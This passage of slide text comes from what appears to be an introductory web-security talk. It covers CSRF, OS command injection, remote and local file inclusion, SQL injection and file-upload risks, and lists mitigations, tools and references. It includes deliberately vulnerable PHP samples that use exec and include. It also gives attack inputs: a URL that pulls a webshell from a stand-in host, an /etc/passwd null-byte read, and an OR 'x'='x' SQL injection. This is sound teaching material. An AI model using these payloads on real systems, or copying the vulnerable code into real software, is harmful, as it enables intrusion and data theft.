  • 9. • Requiring the client to provide authentication data in the same HTTP Request used to perform any operation with security implications (money transfer, etc) • Limiting the lifetime of session cookies • Checking the HTTP Referer header • Add unique token every time during transactions and generate and verify at server side. Rx CSRF?? http://www.owasp.org/index.php/Image:CSRFTester-1.0.zip
  • 10. • used for unauthorized execution of operating system commands • result of mixing trusted code and untrusted data • attack is possible when an application accepts untrusted input to build operating system commands in an insecure manner involving improper data sanitization, and/or improper calling of external programs • executed commands by an attacker will run with the same privileges of the component that executed the command. Sample: $month = $_GET['month']; $year = $_GET['year']; exec("cal $month $year", $result); print "<PRE>";foreach ($result as $r) { print "$r<BR>"; } print "</PRE>"; OS Commanding??
  • 11. • Attack technique used to exploit "dynamic file include" mechanisms in web applications. • When web applications take user input (URL, parameter value, etc.) and pass them into file include commands, the web application might be tricked into including remote files with malicious code. • RFI means executing remotely hosted malicious code at server level. • The attacker's malicious code can manipulate the content of the response sent to the client. The attacker can embed malicious code in the response that will be run by the client (for example, Javascript to steal the client session cookies). (LFI) • In PHP the main cause is due to the use of unvalidated external variables such as $_GET, $_POST, $_COOKIE with a filesystem function. • The PHP language has an allow_url_fopen directive, and if enabled it allows filesystem functions to use a URL which allows them to retrieve data from remote locations. An attacker will alter a variable that is passed to one of these functions to cause it to include malicious code from a remote resource. To mitigate this vulnerability, all user input needs to be validated before being used Terrible RFI/LFI… Careful Please..
  • 12. <?php $color = 'blue'; if (isset( $_GET['COLOR'] ) ) $color = $_GET['COLOR']; include( $color . '.php' ); ?> <form method="get"> <select name="COLOR"> <option value="red">red</option> <option value="blue">blue</option> </select> <input type="submit"> </form> Terrible RFI/LFI… Careful Please.. http://w3af.sourceforge.net/ /vulnerable.php?COLOR=http://evil.example.com/webshell.txt? /vulnerable.php?COLOR=C:ftpuploadexploit /vulnerable.php?COLOR=/etc/passwd%00
  • 13. SQL Injection.. http://w3af.sourceforge.net/ • Many web applications take user input from a form • Often this user input is used literally in the construction of a SQL query submitted to a database. For example: – SELECT productdata FROM table WHERE productname = ‘user input product name’; • A SQL injection attack involves placing SQL statements in the user input • E.g. “Search GOLD OR ‘x’ = ‘x”. • This input is put directly into the SQL statement within the Web application: – SELECT prodinfo FROM prodtable WHERE prodname = ‘GOLD ‘ OR ‘x’ = ‘x’ – Attacker has now successfully caused the entire database to be returned
  • 14. SQL Injection.. http://w3af.sourceforge.net/ • Hackers can : – Add new viagra ad in your website. – Delete your Database/tables/records. – Sell items for free. – Can sell your company information to others. – Can use USERs data for benefit (credit card information etc.) • Solution? – Check syntax of input for validity – Have length limits on input – Many SQL injection attacks depend on entering long strings – Scan query string for undesirable word combinations that indicate SQL statements (Insert,Drop,update, delete,select etc). – Limit database permissions and segregate users – Default error reporting often gives away information that is valuable for attackers (table name, field name, etc.). Configure properly.
  • 15. file Upload..Any problem? Mostly nowadays contains a file upload feature, which has a validation but can be used for a person to upload malicious script files and thereby take control of our server. As main countermeasures you can have in mind: • Checking the file size. • Deny execute permission on the directory where the files are uploaded. • Check MIME-TYPE. • Check the file extension. • Protecting the upload folder with .htaccess with –ExecCGI • If possible, upload the files in a directory outside the server root • Create a list of accepted mime-typesGenerate a random file name and add the previously generated extension • Don’t rely on client-side validation only, since it is not enough. Ideally one should have both server-side and client-side validation implemented.
  • 16. • http://wapiti.sourceforge.net/ • http://www.cirt.net/nikto2 • http://www.nessus.org/ • http://www.darknet.org.uk/2007/01/spik e-proxy-application-level-security- assessment/ Helpful tools ??
  • 17. • http://www.wikipedia.org/ • https://www.owasp.org/ • http://www.cert.org/ • http://www.cert-in.org.in/ • http://www.metasploit.com • http://www.infosecinstitute.com • http://www.pentestit.com • http://www.sans.org References and Good reading